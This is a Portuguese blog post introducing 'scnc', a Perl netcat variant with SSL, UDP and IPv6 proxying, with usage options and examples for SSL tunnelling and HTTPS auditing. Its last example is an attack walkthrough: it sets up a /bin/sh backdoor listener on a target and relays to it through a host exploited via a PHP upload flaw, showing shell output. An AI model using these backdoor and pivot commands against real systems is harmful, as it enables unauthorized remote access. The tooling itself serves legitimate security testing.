SSL Capable NetCat (and more)

Todos já conhecem o que é o netcat (escrito por Hobbit em 1996), como usá-lo e que foi integrado nos sistemas UNIX a bastante tempo. Esta versão em Perl adiciona ao Netcat algumas possibilidades que o mesmo não tem. Por exemplo, suporte SSL, TCP e UDP Proxying e IPv4/IPv6 proxying.

Uso

SSL Capable NetCat 1.00

Usage: scnc [-options] target port

-c use SSL (default to not)

-a use SSL certificate authority file

-f use SSL certificate file (PEM format)

-k use SSL private key file (PEM format)

-t do telnet negociation (default to not)

-6 use IPv6 (default to not)

-e cmd command to execute

-l listen for connections (default to not)

-p port use local port number (default to random high)

-s address use address for bindings (default to all addresses)

-u use UDP socket (default to TCP)

-v be verbose (default to not)

-r host:port proxy connection to host:port

-r host:port:ipv6 proxy connection to host:port using IPv6

-r host:port::ssl proxy connection to host:port using SSL

-r host:port:ipv6:ssl proxy connection to host:port using IPv6 and SSL

Download

scnc

Exemplos de Uso

Protegendo conexões com túneis SSL

Você tem um servidor e um client (obviamente) que você controla. Você tem um serviço que não suporta SSL más você deseja estabelecer uma conexão SSL para evitar que em algum peer seja possível ler sua comunicação. A solução é criar um SSL tunnel (como se fosse o ssltunnel ou o stunnel).

  • Server side (scnc irá escutar na porta 10000/TCP usando SSL e irá redirecionar o tráfego para localhost porta 110/TCP):

prompt$ scnc -vc -a ca.pem -f server.pem -k server-key.pem -p 10000 -r localhost:110

server: SSL listening on: 0.0.0.0:10000 (IPv4)

  • Client side (scnc irá escutar em localhost porta 1110/TCP e irá redirecionar o tráfego para o servidor porta 10000/TCP usando SSL):

prompt$ scnc -v -s localhost -p 1110 -r server:10000::ssl

server: listening on: 127.0.0.1:1110 (IPv4)

Agora você pode utilizar seu client side application e usar o localhost e a porta 1110/TCP como endereço do servidor. Todo o tráfego irá ficar seguro por SSL.

Proxying SSL para acessar tráfego em Clear Text

Supomos que você está auditando um Web Server que suporta apenas HTTPS. Você deseja usar seu Sniffer Clássico ou uma ferramenta para Proxy (WebScarab/Paros). Você precisa remover a criptografia SSL para facilitar sua vida.

  • Cliente side irá se tornar um SSL proxy (scnc irá escutar em localhost porta 1443/tcp e irá redirecionar o tráfego para o servidor que será auditado na porta 443/tcp usando SSL assim como os client Certificates):

prompt$ scnc -v -r audited-server:443::ssl -a ca.pem -f client.pem -k client-key.pem -s localhost -p 1443

server: listening on: 127.0.0.1:1443 (IPv4)

  • Client side Exemplo:

prompt$ scnc -v localhost 1443

client: connected to: 127.0.0.1:1443 (IPv4)

GET / HTTP/1.0

HTTP/1.1 302 Found

Date: Thu, 27 Apr 2008 11:25:50 GMT

Server: Apache

Você agora pode usar sua ferramenta clássica de auditoria e usar o localhost com porta 1443/TCP como target server. Todo tráfego para localhost 1443/tcp será em Clear Text.

UDP proxying

Digamos que você tenha um server escutando na porta 31337/UDP, com uma backdoor de /bin/bash. Essa porta é filtrada por um firewall e você PRECISA usar alguma técnica de Port Forwarding porque o único IP Address permitido é o 192.168.10.200. Este IP address tem um serviço (uma aplicação Web escrita em PHP que permite você fazer upload e executar um comando). Isto poderia ser game over para este host, mas você não está interessado nele e quer apenas usar um caminho mais fácil. Você pode exploitar estar vulnerabilidade e primeiramente enviar o sncn, depois executa-lo com os parametros de proxying.

  • Backdoored target (172.16.10.1:31337/UDP):

prompt$ scnc -vul -e /bin/sh -p 31337

server: listening on: 0.0.0.0:31337 (IPv4)

  • Proxying host vulnerável (192.168.10.200:9000/UDP):

prompt$ scnc -vu -r 172.16.10.1:31337 -p 9000

server: listening on: 0.0.0.0:9000 (IPv4)

  • Attacking host:

prompt$ scnc -vu 192.168.10.200 9000

client: connected to: 192.168.10.200:9000 (IPv4)

sh: turning off NDELAY mode

id

uid=1000(user) gid=1000(users) …

Você tem agora um tunnel UDP proxied e totalmente funcional. Se você tem um acesso TCP, claro que você usará TCP proxying.

Test SSL certificates

Se você deseja testar as features SSL, você pode baixar os seguintes certificados:

Espero que tenham gostado e Good Hacking 4 All.

Advertisements

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s